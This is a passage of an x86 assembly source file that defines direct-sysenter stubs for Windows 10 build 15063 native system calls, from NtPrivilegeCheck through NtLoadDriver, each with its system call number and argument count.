mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrivilegeCheck ENDP
; ULONG __stdcall NtSetInformationVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 210
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationVirtualMemory ENDP
; ULONG __stdcall NtPrePrepareEnlistment( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrePrepareEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 211
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrePrepareEnlistment ENDP
; ULONG __stdcall NtPrePrepareComplete( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrePrepareComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 212
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrePrepareComplete ENDP
; ULONG __stdcall NtPrepareEnlistment( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrepareEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 213
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrepareEnlistment ENDP
; ULONG __stdcall NtPrepareComplete( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrepareComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 214
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrepareComplete ENDP
; ULONG __stdcall NtPowerInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPowerInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 215
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPowerInformation ENDP
; ULONG __stdcall NtPlugPlayControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPlugPlayControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 216
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPlugPlayControl ENDP
; ULONG __stdcall NtOpenTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 217
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenTransactionManager ENDP
; ULONG __stdcall NtOpenTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 218
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenTransaction ENDP
; ULONG __stdcall NtOpenTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 219
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenTimer ENDP
; ULONG __stdcall NtOpenThreadTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenThreadTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 220
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenThreadTokenEx ENDP
; ULONG __stdcall NtOpenThreadToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenThreadToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 221
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenThreadToken ENDP
; ULONG __stdcall NtOpenThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 222
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenThread ENDP
; ULONG __stdcall NtOpenSymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 223
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSymbolicLinkObject ENDP
; ULONG __stdcall NtOpenSession( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSession PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 224
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSession ENDP
; ULONG __stdcall NtOpenSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 225
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSemaphore ENDP
; ULONG __stdcall NtOpenSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 226
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenSection ENDP
; ULONG __stdcall NtOpenResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 227
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenResourceManager ENDP
; ULONG __stdcall NtOpenPartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenPartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 228
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenPartition ENDP
; ULONG __stdcall NtOpenProcessTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenProcessTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 229
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenProcessTokenEx ENDP
; ULONG __stdcall NtOpenProcessToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenProcessToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 230
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenProcessToken ENDP
; ULONG __stdcall NtOpenProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 231
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenProcess ENDP
; ULONG __stdcall NtOpenPrivateNamespace( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenPrivateNamespace PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 232
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenPrivateNamespace ENDP
; ULONG __stdcall NtOpenObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 233
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenObjectAuditAlarm ENDP
; ULONG __stdcall NtOpenMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 234
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenMutant ENDP
; ULONG __stdcall NtOpenKeyTransactedEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyTransactedEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 235
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyTransactedEx ENDP
; ULONG __stdcall NtOpenKeyTransacted( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyTransacted PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 236
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyTransacted ENDP
; ULONG __stdcall NtOpenKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 237
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyEx ENDP
; ULONG __stdcall NtOpenKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 238
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKeyedEvent ENDP
; ULONG __stdcall NtOpenKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 239
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenKey ENDP
; ULONG __stdcall NtOpenJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 240
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenJobObject ENDP
; ULONG __stdcall NtOpenIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 241
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenIoCompletion ENDP
; ULONG __stdcall NtOpenFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 242
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenFile ENDP
; ULONG __stdcall NtOpenEventPair( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenEventPair PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 243
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenEventPair ENDP
; ULONG __stdcall NtOpenEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 244
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenEvent ENDP
; ULONG __stdcall NtOpenEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 245
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenEnlistment ENDP
; ULONG __stdcall NtOpenDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 246
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenDirectoryObject ENDP
; ULONG __stdcall NtNotifyChangeSession( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeSession PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 247
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeSession ENDP
; ULONG __stdcall NtNotifyChangeMultipleKeys( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeMultipleKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 248
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeMultipleKeys ENDP
; ULONG __stdcall NtNotifyChangeKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 249
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeKey ENDP
; ULONG __stdcall NtNotifyChangeDirectoryFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeDirectoryFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 250
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtNotifyChangeDirectoryFile ENDP
; ULONG __stdcall NtManagePartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtManagePartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 251
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtManagePartition ENDP
; ULONG __stdcall NtModifyDriverEntry( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtModifyDriverEntry PROC STDCALL arg_01:DWORD
mov eax , 252
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtModifyDriverEntry ENDP
; ULONG __stdcall NtModifyBootEntry( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtModifyBootEntry PROC STDCALL arg_01:DWORD
mov eax , 253
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtModifyBootEntry ENDP
; ULONG __stdcall NtMapViewOfSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtMapViewOfSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 254
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtMapViewOfSection ENDP
; ULONG __stdcall NtMapUserPhysicalPagesScatter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtMapUserPhysicalPagesScatter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 255
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtMapUserPhysicalPagesScatter ENDP
; ULONG __stdcall NtMapUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtMapUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 256
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtMapUserPhysicalPages ENDP
; ULONG __stdcall NtMapCMFModule( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtMapCMFModule PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 257
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtMapCMFModule ENDP
; ULONG __stdcall NtMakeTemporaryObject( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtMakeTemporaryObject PROC STDCALL arg_01:DWORD
mov eax , 258
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtMakeTemporaryObject ENDP
; ULONG __stdcall NtMakePermanentObject( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtMakePermanentObject PROC STDCALL arg_01:DWORD
mov eax , 259
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtMakePermanentObject ENDP
; ULONG __stdcall NtLockVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLockVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 260
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLockVirtualMemory ENDP
; ULONG __stdcall NtLockRegistryKey( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLockRegistryKey PROC STDCALL arg_01:DWORD
mov eax , 261
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLockRegistryKey ENDP
; ULONG __stdcall NtLockProductActivationKeys( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLockProductActivationKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 262
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLockProductActivationKeys ENDP
; ULONG __stdcall NtLockFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLockFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 263
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLockFile ENDP
; ULONG __stdcall NtLoadKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 264
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadKeyEx ENDP
; ULONG __stdcall NtLoadKey2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadKey2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 265
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadKey2 ENDP
; ULONG __stdcall NtLoadKey( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 266
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadKey ENDP
; ULONG __stdcall NtLoadHotPatch( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadHotPatch PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 267
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadHotPatch ENDP
; ULONG __stdcall NtLoadEnclaveData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadEnclaveData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 268
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadEnclaveData ENDP
; ULONG __stdcall NtLoadDriver( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadDriver PROC STDCALL arg_01:DWORD
mov eax , 269
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtLoadDriver ENDP
